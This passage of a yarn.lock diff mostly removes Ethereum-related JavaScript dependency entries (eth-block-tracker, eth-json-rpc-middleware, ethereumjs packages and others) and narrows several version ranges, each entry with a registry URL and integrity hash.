dependencies: ms "2.0.0" -debug@3.2.6: - version "3.2.6" - resolved "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz" - integrity sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ== - dependencies: - ms "^2.1.1" - -debug@4, debug@4.3.4, debug@^4.0.0, debug@^4.0.1, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.3: +debug@4, debug@^4.0.0, debug@^4.0.1, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1: version "4.3.4" resolved "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz" integrity sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ== dependencies: ms "2.1.2" -debug@^3.1.0, debug@^3.2.7: +debug@^3.2.7: version "3.2.7" resolved "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz" integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ== @@ -6613,11 +5052,6 @@ decamelize@^1.1.1, decamelize@^1.2.0: resolved "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz" integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA== -decamelize@^4.0.0: - version "4.0.0" - resolved "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz" - integrity sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ== - decimal.js@^10.2.1: version "10.4.2" resolved "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.2.tgz" @@ -6659,14 +5093,7 @@ deep-diff@^0.3.5: resolved "https://registry.npmjs.org/deep-diff/-/deep-diff-0.3.8.tgz" integrity sha512-yVn6RZmHiGnxRKR9sJb3iVV2XTF1Ghh2DiWRZ3dMnGc43yUdWWF/kX6lQyk3+P84iprfWKU/8zFTrlkvtFm1ug== -deep-eql@^4.1.2: - version "4.1.2" - resolved "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.2.tgz" - integrity sha512-gT18+YW4CcW/DBNTwAmqTtkJh7f9qqScu2qFVlx7kCoeY9tlBu9cUcr7+I+Z/noG8INehS3xQgLpTtd/QUTn4w== - dependencies: - type-detect "^4.0.0" - -deep-equal@^1.0.1, deep-equal@~1.1.1: +deep-equal@^1.0.1: version "1.1.1" resolved "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.1.tgz" integrity sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g== @@ -6706,21 +5133,6 @@ defer-to-connect@^2.0.0, defer-to-connect@^2.0.1: resolved "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz" integrity sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg== -deferred-leveldown@~1.2.1: - version "1.2.2" - resolved "https://registry.npmjs.org/deferred-leveldown/-/deferred-leveldown-1.2.2.tgz" - integrity sha512-uukrWD2bguRtXilKt6cAWKyoXrTSMo5m7crUdLfWQmu8kIm88w3QZoUL+6nhpfKVmhHANER6Re3sKoNoZ3IKMA== - dependencies: - abstract-leveldown "~2.6.0" - -deferred-leveldown@~4.0.0: - version "4.0.2" - resolved "https://registry.npmjs.org/deferred-leveldown/-/deferred-leveldown-4.0.2.tgz" - integrity sha512-5fMC8ek8alH16QiV0lTCis610D1Zt1+LA4MS4d63JgS32lrCjTFDUFz2ao09/j2I4Bqb5jL4FZYwu7Jz0XO1ww== - dependencies: - abstract-leveldown "~5.0.0" - inherits "^2.0.3" - define-properties@^1.1.2, define-properties@^1.1.3, define-properties@^1.1.4: version "1.1.4" resolved "https://registry.npmjs.org/define-properties/-/define-properties-1.1.4.tgz" @@ -6751,11 +5163,6 @@ define-property@^2.0.2: is-descriptor "^1.0.2" isobject "^3.0.1" -defined@~1.0.0: - version "1.0.1" - resolved "https://registry.npmjs.org/defined/-/defined-1.0.1.tgz" - integrity sha512-hsBd2qSVCRE+5PmNdHt1uzyrFu5d3RwmFDKzyNZMFq/EwDNJF7Ee5+D5oEKF0hU6LhtoUF1macFvOe4AskQC1Q== - del@^4.1.1: version "4.1.1" resolved "https://registry.npmjs.org/del/-/del-4.1.1.tgz" @@ -6802,13 +5209,6 @@ destroy@1.2.0: resolved "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz" integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg== -detect-indent@^4.0.0: - version "4.0.0" - resolved "https://registry.npmjs.org/detect-indent/-/detect-indent-4.0.0.tgz" - integrity sha512-BDKtmHlOzwI7iRuEkhzsnPoi5ypEhWAJB5RvHWe1kMr06js3uK5B3734i3ui5Yd+wOJV1cpE4JnivPD283GU/A== - dependencies: - repeating "^2.0.0" - detect-indent@^5.0.0: version "5.0.0" resolved "https://registry.npmjs.org/detect-indent/-/detect-indent-5.0.0.tgz" @@ -6842,16 +5242,6 @@ diff-sequences@^26.6.2: resolved "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.6.2.tgz" integrity sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q== -diff@3.5.0: - version "3.5.0" - resolved "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz" - integrity sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA== - -diff@5.0.0: - version "5.0.0" - resolved "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz" - integrity sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w== - diff@^5.0.0: version "5.1.0" resolved "https://registry.npmjs.org/diff/-/diff-5.1.0.tgz" @@ -7044,13 +5434,6 @@ dotenv@^16.0.3: resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-16.0.3.tgz#115aec42bac5053db3c456db30cc243a5a836a07" integrity sha512-7GO6HghkA5fYG9TYnNxi14/7K9f5occMlp3zXAuSxn7CKCxt9xbNWG7yF8hTCSUchlfWSe3uLmlPfigevRItzQ== -dotignore@~0.1.2: - version "0.1.2" - resolved "https://registry.npmjs.org/dotignore/-/dotignore-0.1.2.tgz" - integrity sha512-UGGGWfSauusaVJC+8fgV+NVvBXkCTmVv7sk6nojDZZvuOUNGUy0Zk4UpHQD6EDjS0jpBwcACvH4eofvyzBcRDw== - dependencies: - minimatch "^3.0.4" - duplexer3@^0.1.4: version "0.1.5" resolved "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.5.tgz" @@ -7089,12 +5472,12 @@ ejs@^2.6.1: resolved "https://registry.npmjs.org/ejs/-/ejs-2.7.4.tgz" integrity sha512-7vmuyh5+kuUyJKePhQfRQBhXV5Ce+RnaeeQArKu1EAMpL3WbgMt5WG6uQZpEVvYSSsxMXRKOewtDk9RaTKXRlA== -electron-to-chromium@^1.3.47, electron-to-chromium@^1.3.564, electron-to-chromium@^1.4.251: +electron-to-chromium@^1.3.564, electron-to-chromium@^1.4.251: version "1.4.284" resolved "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.284.tgz" integrity sha512-M8WEXFuKXMYMVr45fo8mq0wUrrJHheiKZf6BArTKk9ZBYCKJEOU5H8cdWgDT+qCVZf7Na4lVUaZsA+h6uA9+PA== -elliptic@6.5.4, elliptic@^6.4.0, elliptic@^6.5.2, elliptic@^6.5.3, elliptic@^6.5.4: +elliptic@6.5.4, elliptic@^6.4.0, elliptic@^6.5.3, elliptic@^6.5.4: version "6.5.4" resolved "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz" integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ== @@ -7142,24 +5525,6 @@ encodeurl@~1.0.2: resolved "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz" integrity sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w== -encoding-down@5.0.4, encoding-down@~5.0.0: - version "5.0.4" - resolved "https://registry.npmjs.org/encoding-down/-/encoding-down-5.0.4.tgz" - integrity sha512-8CIZLDcSKxgzT+zX8ZVfgNbu8Md2wq/iqa1Y7zyVR18QBEAc0Nmzuvj/N5ykSKpfGzjM8qxbaFntLPwnVoUhZw== - dependencies: - abstract-leveldown "^5.0.0" - inherits "^2.0.3" - level-codec "^9.0.0" - level-errors "^2.0.0" - xtend "^4.0.1" - -encoding@^0.1.11: - version "0.1.13" - resolved "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz" - integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A== - dependencies: - iconv-lite "^0.6.2" - end-of-stream@^1.0.0, end-of-stream@^1.1.0: version "1.4.4" resolved "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz" @@ -7176,7 +5541,7 @@ enhanced-resolve@^4.3.0: memory-fs "^0.5.0" tapable "^1.0.0" -enquirer@^2.3.0, enquirer@^2.3.5: +enquirer@^2.3.5: version "2.3.6" resolved "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz" integrity sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg== @@ -7193,12 +5558,7 @@ entities@^4.2.0, entities@^4.3.0, entities@^4.4.0: resolved "https://registry.npmjs.org/entities/-/entities-4.4.0.tgz" integrity sha512-oYp7156SP8LkeGD0GF85ad1X9Ai79WtRsZ2gxJqtBuzH+98YUV6jkHEKlZkMbcrjJjIVJNIDP/3WL9wQkoPbWA== -env-paths@^2.2.0: - version "2.2.1" - resolved "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz" - integrity sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A== - -errno@^0.1.3, errno@~0.1.1, errno@~0.1.7: +errno@^0.1.3, errno@~0.1.7: version "0.1.8" resolved "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz" integrity sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A== @@ -7311,17 +5671,17 @@ escape-html@~1.0.3: resolved "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz" integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow== -escape-string-regexp@1.0.5, escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5: - version "1.0.5" - resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz" - integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg== - escape-string-regexp@2.0.0, escape-string-regexp@^2.0.0: version "2.0.0" resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz" integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w== -escape-string-regexp@4.0.0, escape-string-regexp@^4.0.0: +escape-string-regexp@^1.0.5: + version "1.0.5" + resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz" + integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg== + +escape-string-regexp@^4.0.0: version "4.0.0" resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz" integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== @@ -7601,32 +5961,7 @@ etag@~1.8.1: resolved "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz" integrity sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg== -eth-block-tracker@^3.0.0: - version "3.0.1" - resolved "https://registry.npmjs.org/eth-block-tracker/-/eth-block-tracker-3.0.1.tgz" - integrity sha512-WUVxWLuhMmsfenfZvFO5sbl1qFY2IqUlw/FPVmjjdElpqLsZtSG+wPe9Dz7W/sB6e80HgFKknOmKk2eNlznHug== - dependencies: - eth-query "^2.1.0" - ethereumjs-tx "^1.3.3" - ethereumjs-util "^5.1.3" - ethjs-util "^0.1.3" - json-rpc-engine "^3.6.0" - pify "^2.3.0" - tape "^4.6.3" - -eth-block-tracker@^4.4.2: - version "4.4.3" - resolved "https://registry.npmjs.org/eth-block-tracker/-/eth-block-tracker-4.4.3.tgz" - integrity sha512-A8tG4Z4iNg4mw5tP1Vung9N9IjgMNqpiMoJ/FouSFwNCGHv2X0mmOYwtQOJzki6XN7r7Tyo01S29p7b224I4jw== - dependencies: - "@babel/plugin-transform-runtime" "^7.5.5" - "@babel/runtime" "^7.5.5" - eth-query "^2.1.0" - json-rpc-random-id "^1.0.1" - pify "^3.0.0" - safe-event-emitter "^1.0.1" - -eth-ens-namehash@2.0.8, eth-ens-namehash@^2.0.0, eth-ens-namehash@^2.0.8: +eth-ens-namehash@2.0.8, eth-ens-namehash@^2.0.8: version "2.0.8" resolved "https://registry.npmjs.org/eth-ens-namehash/-/eth-ens-namehash-2.0.8.tgz" integrity sha512-VWEI1+KJfz4Km//dadyvBBoBeSQ0MHTXPvr8UIXiLW6IanxvAV+DmlZAijZwAyggqGUfwQBeHf7tc9wzc1piSw== @@ -7634,95 +5969,6 @@ eth-ens-namehash@2.0.8, eth-ens-namehash@^2.0.0, eth-ens-namehash@^2.0.8: idna-uts46-hx "^2.3.1" js-sha3 "^0.5.7" -eth-gas-reporter@^0.2.25: - version "0.2.25" - resolved "https://registry.npmjs.org/eth-gas-reporter/-/eth-gas-reporter-0.2.25.tgz" - integrity sha512-1fRgyE4xUB8SoqLgN3eDfpDfwEfRxh2Sz1b7wzFbyQA+9TekMmvSjjoRu9SKcSVyK+vLkLIsVbJDsTWjw195OQ== - dependencies: - "@ethersproject/abi" "^5.0.0-beta.146" - "@solidity-parser/parser" "^0.14.0" - cli-table3 "^0.5.0" - colors "1.4.0" - ethereum-cryptography "^1.0.3" - ethers "^4.0.40" - fs-readdir-recursive "^1.1.0" - lodash "^4.17.14" - markdown-table "^1.1.3" - mocha "^7.1.1" - req-cwd "^2.0.0" - request "^2.88.0" - request-promise-native "^1.0.5" - sha1 "^1.1.1" - sync-request "^6.0.0" - -eth-json-rpc-filters@^4.2.1: - version "4.2.2" - resolved "https://registry.npmjs.org/eth-json-rpc-filters/-/eth-json-rpc-filters-4.2.2.tgz" - integrity sha512-DGtqpLU7bBg63wPMWg1sCpkKCf57dJ+hj/k3zF26anXMzkmtSBDExL8IhUu7LUd34f0Zsce3PYNO2vV2GaTzaw== - dependencies: - "@metamask/safe-event-emitter" "^2.0.0" - async-mutex "^0.2.6" - eth-json-rpc-middleware "^6.0.0" - eth-query "^2.1.2" - json-rpc-engine "^6.1.0" - pify "^5.0.0" - -eth-json-rpc-infura@^3.1.0: - version "3.2.1" - resolved "https://registry.npmjs.org/eth-json-rpc-infura/-/eth-json-rpc-infura-3.2.1.tgz" - integrity sha512-W7zR4DZvyTn23Bxc0EWsq4XGDdD63+XPUCEhV2zQvQGavDVC4ZpFDK4k99qN7bd7/fjj37+rxmuBOBeIqCA5Mw== - dependencies: - cross-fetch "^2.1.1" - eth-json-rpc-middleware "^1.5.0" - json-rpc-engine "^3.4.0" - json-rpc-error "^2.0.0" - -eth-json-rpc-infura@^5.1.0: - version "5.1.0" - resolved "https://registry.npmjs.org/eth-json-rpc-infura/-/eth-json-rpc-infura-5.1.0.tgz" - integrity sha512-THzLye3PHUSGn1EXMhg6WTLW9uim7LQZKeKaeYsS9+wOBcamRiCQVGHa6D2/4P0oS0vSaxsBnU/J6qvn0MPdow== - dependencies: - eth-json-rpc-middleware "^6.0.0" - eth-rpc-errors "^3.0.0" - json-rpc-engine "^5.3.0" - node-fetch "^2.6.0" - -eth-json-rpc-middleware@^1.5.0: - version "1.6.0" - resolved "https://registry.npmjs.org/eth-json-rpc-middleware/-/eth-json-rpc-middleware-1.6.0.tgz" - integrity sha512-tDVCTlrUvdqHKqivYMjtFZsdD7TtpNLBCfKAcOpaVs7orBMS/A8HWro6dIzNtTZIR05FAbJ3bioFOnZpuCew9Q== - dependencies: - async "^2.5.0" - eth-query "^2.1.2" - eth-tx-summary "^3.1.2" - ethereumjs-block "^1.6.0" - ethereumjs-tx "^1.3.3" - ethereumjs-util "^5.1.2" - ethereumjs-vm "^2.1.0" - fetch-ponyfill "^4.0.0" - json-rpc-engine "^3.6.0" - json-rpc-error "^2.0.0" - json-stable-stringify "^1.0.1" - promise-to-callback "^1.0.0" - tape "^4.6.3" - -eth-json-rpc-middleware@^6.0.0: - version "6.0.0" - resolved "https://registry.npmjs.org/eth-json-rpc-middleware/-/eth-json-rpc-middleware-6.0.0.tgz" - integrity sha512-qqBfLU2Uq1Ou15Wox1s+NX05S9OcAEL4JZ04VZox2NS0U+RtCMjSxzXhLFWekdShUPZ+P8ax3zCO2xcPrp6XJQ== - dependencies: - btoa "^1.2.1" - clone "^2.1.1" - eth-query "^2.1.2" - eth-rpc-errors "^3.0.0" - eth-sig-util "^1.4.2" - ethereumjs-util "^5.1.2" - json-rpc-engine "^5.3.0" - json-stable-stringify "^1.0.1" - node-fetch "^2.6.1" - pify "^3.0.0" - safe-event-emitter "^1.0.1" - eth-lib@0.2.8: version "0.2.8" resolved "https://registry.npmjs.org/eth-lib/-/eth-lib-0.2.8.tgz" @@ -7744,74 +5990,6 @@ eth-lib@^0.1.26: ws "^3.0.0" xhr-request-promise "^0.1.2" -eth-query@^2.0.2, eth-query@^2.1.0, eth-query@^2.1.2: - version "2.1.2" - resolved "https://registry.npmjs.org/eth-query/-/eth-query-2.1.2.tgz" - integrity sha512-srES0ZcvwkR/wd5OQBRA1bIJMww1skfGS0s8wlwK3/oNP4+wnds60krvu5R1QbpRQjMmpG5OMIWro5s7gvDPsA== - dependencies: - json-rpc-random-id "^1.0.0" - xtend "^4.0.1" - -eth-rpc-errors@^3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/eth-rpc-errors/-/eth-rpc-errors-3.0.0.tgz" - integrity sha512-iPPNHPrLwUlR9xCSYm7HHQjWBasor3+KZfRvwEWxMz3ca0yqnlBeJrnyphkGIXZ4J7AMAaOLmwy4AWhnxOiLxg== - dependencies: - fast-safe-stringify "^2.0.6" - -eth-rpc-errors@^4.0.2: - version "4.0.3" - resolved "https://registry.npmjs.org/eth-rpc-errors/-/eth-rpc-errors-4.0.3.tgz" - integrity sha512-Z3ymjopaoft7JDoxZcEb3pwdGh7yiYMhOwm2doUt6ASXlMavpNlK6Cre0+IMl2VSGyEU9rkiperQhp5iRxn5Pg== - dependencies: - fast-safe-stringify "^2.0.6" - -eth-sig-util@3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/eth-sig-util/-/eth-sig-util-3.0.0.tgz" - integrity sha512-4eFkMOhpGbTxBQ3AMzVf0haUX2uTur7DpWiHzWyTURa28BVJJtOkcb9Ok5TV0YvEPG61DODPW7ZUATbJTslioQ== - dependencies: - buffer "^5.2.1" - elliptic "^6.4.0" - ethereumjs-abi "0.6.5" - ethereumjs-util "^5.1.1" - tweetnacl "^1.0.0" - tweetnacl-util "^0.15.0" - -eth-sig-util@^1.4.2: - version "1.4.2" - resolved "https://registry.npmjs.org/eth-sig-util/-/eth-sig-util-1.4.2.tgz" - integrity sha512-iNZ576iTOGcfllftB73cPB5AN+XUQAT/T8xzsILsghXC1o8gJUqe3RHlcDqagu+biFpYQ61KQrZZJza8eRSYqw== - dependencies: - ethereumjs-abi "git+https://github.com/ethereumjs/ethereumjs-abi.git" - ethereumjs-util "^5.1.1" - -eth-tx-summary@^3.1.2: - version "3.2.4" - resolved "https://registry.npmjs.org/eth-tx-summary/-/eth-tx-summary-3.2.4.tgz" - integrity sha512-NtlDnaVZah146Rm8HMRUNMgIwG/ED4jiqk0TME9zFheMl1jOp6jL1m0NKGjJwehXQ6ZKCPr16MTr+qspKpEXNg== - dependencies: - async "^2.1.2" - clone "^2.0.0" - concat-stream "^1.5.1" - end-of-stream "^1.1.0" - eth-query "^2.0.2" - ethereumjs-block "^1.4.1" - ethereumjs-tx "^1.1.1" - ethereumjs-util "^5.0.1" - ethereumjs-vm "^2.6.0" - through2 "^2.0.3" - -ethashjs@~0.0.7: - version "0.0.8" - resolved "https://registry.npmjs.org/ethashjs/-/ethashjs-0.0.8.tgz" - integrity sha512-/MSbf/r2/Ld8o0l15AymjOTlPqpN8Cr4ByUEA9GtR4x0yAh3TdtDzEg29zMjXCNPI7u6E5fOQdj/Cf9Tc7oVNw== - dependencies: - async "^2.1.2" - buffer-xor "^2.0.1" - ethereumjs-util "^7.0.2" - miller-rabin "^4.0.0" - ethereum-bloom-filters@^1.0.6: version "1.0.10" resolved "https://registry.npmjs.org/ethereum-bloom-filters/-/ethereum-bloom-filters-1.0.10.tgz" @@ -7819,17 +5997,7 @@ ethereum-bloom-filters@^1.0.6: dependencies: js-sha3 "^0.8.0" -ethereum-common@0.2.0: - version "0.2.0" - resolved "https://registry.npmjs.org/ethereum-common/-/ethereum-common-0.2.0.tgz" - integrity sha512-XOnAR/3rntJgbCdGhqdaLIxDLWKLmsZOGhHdBKadEr6gEnJLH52k93Ou+TUdFaPN3hJc3isBZBal3U/XZ15abA== - -ethereum-common@^0.0.18: - version "0.0.18" - resolved "https://registry.npmjs.org/ethereum-common/-/ethereum-common-0.0.18.tgz" - integrity sha512-EoltVQTRNg2Uy4o84qpa2aXymXDJhxm7eos/ACOg0DG4baAbMjhbdAEsx9GeE8sC3XCxnYvrrzZDH8D8MtA2iQ== - -ethereum-cryptography@0.1.3, ethereum-cryptography@^0.1.3: +ethereum-cryptography@^0.1.3: version "0.1.3" resolved "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz" integrity sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ== @@ -7850,187 +6018,7 @@ ethereum-cryptography@0.1.3, ethereum-cryptography@^0.1.3: secp256k1 "^4.0.1" setimmediate "^1.0.5" -ethereum-cryptography@1.1.2, ethereum-cryptography@^1.0.3: - version "1.1.2" - resolved "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-1.1.2.tgz" - integrity sha512-XDSJlg4BD+hq9N2FjvotwUET9Tfxpxc3kWGE2AqUG5vcbeunnbImVk3cj6e/xT3phdW21mE8R5IugU4fspQDcQ== - dependencies: - "@noble/hashes" "1.1.2" - "@noble/secp256k1" "1.6.3" - "@scure/bip32" "1.1.0" - "@scure/bip39" "1.1.0" - -ethereum-ens@^0.8.0: - version "0.8.0" - resolved "https://registry.npmjs.org/ethereum-ens/-/ethereum-ens-0.8.0.tgz" - integrity sha512-a8cBTF4AWw1Q1Y37V1LSCS9pRY4Mh3f8vCg5cbXCCEJ3eno1hbI/+Ccv9SZLISYpqQhaglP3Bxb/34lS4Qf7Bg== - dependencies: - bluebird "^3.4.7" - eth-ens-namehash "^2.0.0" - js-sha3 "^0.5.7" - pako "^1.0.4" - underscore "^1.8.3" - web3 "^1.0.0-beta.34" - -ethereum-protocol@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/ethereum-protocol/-/ethereum-protocol-1.0.1.tgz" - integrity sha512-3KLX1mHuEsBW0dKG+c6EOJS1NBNqdCICvZW9sInmZTt5aY0oxmHVggYRE0lJu1tcnMD1K+AKHdLi6U43Awm1Vg== - -ethereum-waffle@^3.4.4: - version "3.4.4" - resolved "https://registry.npmjs.org/ethereum-waffle/-/ethereum-waffle-3.4.4.tgz" - integrity sha512-PA9+jCjw4WC3Oc5ocSMBj5sXvueWQeAbvCA+hUlb6oFgwwKyq5ka3bWQ7QZcjzIX+TdFkxP4IbFmoY2D8Dkj9Q== - dependencies: - "@ethereum-waffle/chai" "^3.4.4" - "@ethereum-waffle/compiler" "^3.4.4" - "@ethereum-waffle/mock-contract" "^3.4.4" - "@ethereum-waffle/provider" "^3.4.4" - ethers "^5.0.1" - -ethereumjs-abi@0.6.5: - version "0.6.5" - resolved "https://registry.npmjs.org/ethereumjs-abi/-/ethereumjs-abi-0.6.5.tgz" - integrity sha512-rCjJZ/AE96c/AAZc6O3kaog4FhOsAViaysBxqJNy2+LHP0ttH0zkZ7nXdVHOAyt6lFwLO0nlCwWszysG/ao1+g== - dependencies: - bn.js "^4.10.0" - ethereumjs-util "^4.3.0" - -ethereumjs-abi@0.6.8, ethereumjs-abi@^0.6.8: - version "0.6.8" - resolved "https://registry.npmjs.org/ethereumjs-abi/-/ethereumjs-abi-0.6.8.tgz" - integrity sha512-Tx0r/iXI6r+lRsdvkFDlut0N08jWMnKRZ6Gkq+Nmw75lZe4e6o3EkSnkaBP5NF6+m5PTGAr9JP43N3LyeoglsA== - dependencies: - bn.js "^4.11.8" - ethereumjs-util "^6.0.0" - -"ethereumjs-abi@git+https://github.com/ethereumjs/ethereumjs-abi.git": - version "0.6.8" - resolved "git+https://github.com/ethereumjs/ethereumjs-abi.git#ee3994657fa7a427238e6ba92a84d0b529bbcde0" - dependencies: - bn.js "^4.11.8" - ethereumjs-util "^6.0.0" - -ethereumjs-account@3.0.0, ethereumjs-account@^3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/ethereumjs-account/-/ethereumjs-account-3.0.0.tgz" - integrity sha512-WP6BdscjiiPkQfF9PVfMcwx/rDvfZTjFKY0Uwc09zSQr9JfIVH87dYIJu0gNhBhpmovV4yq295fdllS925fnBA== - dependencies: - ethereumjs-util "^6.0.0" - rlp "^2.2.1" - safe-buffer "^5.1.1" - -ethereumjs-account@^2.0.3: - version "2.0.5" - resolved "https://registry.npmjs.org/ethereumjs-account/-/ethereumjs-account-2.0.5.tgz" - integrity sha512-bgDojnXGjhMwo6eXQC0bY6UK2liSFUSMwwylOmQvZbSl/D7NXQ3+vrGO46ZeOgjGfxXmgIeVNDIiHw7fNZM4VA== - dependencies: - ethereumjs-util "^5.0.0" - rlp "^2.0.0" - safe-buffer "^5.1.1" - -ethereumjs-block@2.2.2, ethereumjs-block@^2.2.2, ethereumjs-block@~2.2.0, ethereumjs-block@~2.2.2: - version "2.2.2" - resolved "https://registry.npmjs.org/ethereumjs-block/-/ethereumjs-block-2.2.2.tgz" - integrity sha512-2p49ifhek3h2zeg/+da6XpdFR3GlqY3BIEiqxGF8j9aSRIgkb7M1Ky+yULBKJOu8PAZxfhsYA+HxUk2aCQp3vg== - dependencies: - async "^2.0.1" - ethereumjs-common "^1.5.0" - ethereumjs-tx "^2.1.1" - ethereumjs-util "^5.0.0" - merkle-patricia-tree "^2.1.2" - -ethereumjs-block@^1.2.2, ethereumjs-block@^1.4.1, ethereumjs-block@^1.6.0: - version "1.7.1" - resolved "https://registry.npmjs.org/ethereumjs-block/-/ethereumjs-block-1.7.1.tgz" - integrity sha512-B+sSdtqm78fmKkBq78/QLKJbu/4Ts4P2KFISdgcuZUPDm9x+N7qgBPIIFUGbaakQh8bzuquiRVbdmvPKqbILRg== - dependencies: - async "^2.0.1" - ethereum-common "0.2.0" - ethereumjs-tx "^1.2.2" - ethereumjs-util "^5.0.0" - merkle-patricia-tree "^2.1.2" - -ethereumjs-blockchain@^4.0.3: - version "4.0.4" - resolved "https://registry.npmjs.org/ethereumjs-blockchain/-/ethereumjs-blockchain-4.0.4.tgz" - integrity sha512-zCxaRMUOzzjvX78DTGiKjA+4h2/sF0OYL1QuPux0DHpyq8XiNoF5GYHtb++GUxVlMsMfZV7AVyzbtgcRdIcEPQ== - dependencies: - async "^2.6.1" - ethashjs "~0.0.7" - ethereumjs-block "~2.2.2" - ethereumjs-common "^1.5.0" - ethereumjs-util "^6.1.0" - flow-stoplight "^1.0.0" - level-mem "^3.0.1" - lru-cache "^5.1.1" - rlp "^2.2.2" - semaphore "^1.1.0" - -ethereumjs-common@1.5.0: - version "1.5.0" - resolved 